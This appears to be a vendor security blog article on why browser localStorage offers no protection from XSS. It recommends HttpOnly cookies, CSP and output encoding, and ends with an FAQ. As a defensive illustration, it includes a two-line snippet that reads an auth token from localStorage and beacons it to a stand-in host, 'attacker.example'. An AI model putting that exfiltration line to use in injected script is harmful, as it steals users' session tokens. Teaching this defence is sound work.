Local storage security starts with accepting that the browser's localStorage API offers no confidentiality: any JavaScript running in your page's origin can read every value in it, which means a single cross-site scripting flaw exposes everything you stored there. That one property decides almost every design choice around it. localStorage is convenient key-value persistence, not a vault.
Browser local storage security questions almost always reduce to "can I keep my auth token here?" The short answer is that you can, but you are accepting XSS as a token-theft vector when you do, and there are better options.
What localStorage actually guarantees (and does not)
localStorage gives you:
- Origin-scoped, persistent string storage that survives tab close and browser restart.
- Synchronous access from JavaScript.
It explicitly does not give you:
- Confidentiality from scripts. Any code on the page — yours, a third-party analytics tag, or an attacker's injected script — reads it with
localStorage.getItem(). - Automatic transmission control. Unlike cookies, it is never sent to the server automatically, which is good for CSRF but means you must attach values to requests yourself.
- Expiry. Values persist until explicitly removed.
The confidentiality gap is the whole story. If an attacker can run one line of JavaScript in your origin, they can exfiltrate your entire local storage in one more line.
The XSS chain that makes this concrete
Consider a page with a stored XSS flaw — say a comment field that renders unsanitized HTML. An attacker submits a payload that, when another user views the page, runs in that user's browser session. If your session token lives in local storage, the payload reads it and ships it to an attacker-controlled endpoint. The victim never clicks anything.
// What the injected script does — illustrative, not an exploit against a real target
const token = localStorage.getItem('authToken');
navigator.sendBeacon('https://attacker.example/collect', token);
The defense is not "encrypt the token in local storage" — the decryption key would have to live in the same reachable JavaScript, so it buys nothing. The defense is to not put the token where injected script can reach it, and to prevent the XSS in the first place.
Where auth tokens should actually live
For session tokens, prefer an HttpOnly, Secure, SameSite cookie set by the server:
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
HttpOnly makes the cookie invisible to JavaScript, so an XSS payload cannot read it with document.cookie. Secure restricts it to HTTPS. SameSite mitigates CSRF, which was the historical reason people fled cookies for local storage in the first place — a tradeoff you no longer need to make with SameSite available.
If your architecture genuinely requires a token in JavaScript (some SPA and mobile-web flows do), keep it short-lived, hold it in memory rather than local storage where practical, and lean hard on the XSS prevention below.
What is safe to keep in local storage
Local storage is fine for data that is not sensitive and not security-relevant:
- UI preferences (theme, sidebar state, language).
- Non-secret feature flags.
- Cached, non-confidential API responses to speed up reloads.
- Draft form content the user would be annoyed to lose — with the caveat that a shared computer exposes it to the next user, so clear it on logout.
The test is simple: if this value leaked to another script or another user of the machine, would it matter? If yes, it does not belong in local storage.
Preventing the XSS that breaks everything
Because every local storage risk routes through XSS, that is where the effort belongs:
- Output encoding. Render user data as text, not HTML. In React, avoid
dangerouslySetInnerHTML; in templates, rely on auto-escaping and never bypass it. - Content Security Policy. A strict CSP that disallows inline scripts and restricts
connect-srclimits both injection and exfiltration. Even if a script runs, a tightconnect-srccan stop it from reaching the attacker's endpoint. - Sanitize any HTML you must render with a vetted library like DOMPurify.
- Scan for the sinks. A DAST pass will find reflected and stored XSS entry points on running pages; our DAST product is built to crawl for exactly these injection sinks before they reach users.
Clean up on logout, too. Call localStorage.clear() (or remove specific keys) when a session ends so a shared or public machine does not hand your data to the next person.
FAQ
Is it safe to store JWT tokens in local storage?
It is workable but not recommended. Local storage is readable by any script in your origin, so an XSS flaw exposes the token. An HttpOnly cookie is safer because JavaScript cannot read it. If you must use local storage, keep tokens short-lived and invest heavily in XSS prevention.
Can localStorage be encrypted to make it secure?
Not meaningfully. Any encryption key your JavaScript can use to decrypt the value is also reachable by an attacker's injected script, so encryption in the browser does not protect against the main threat, which is XSS.
Is local storage vulnerable to CSRF?
No. Unlike cookies, local storage is never sent automatically with requests, so it is not directly exposed to CSRF. Its weakness is the opposite: it is fully exposed to XSS.
What is safe to put in browser local storage?
Non-sensitive data such as UI preferences, non-secret feature flags, cached public responses, and unsaved form drafts. Anything whose leak would matter — tokens, personal data, secrets — should not be stored there.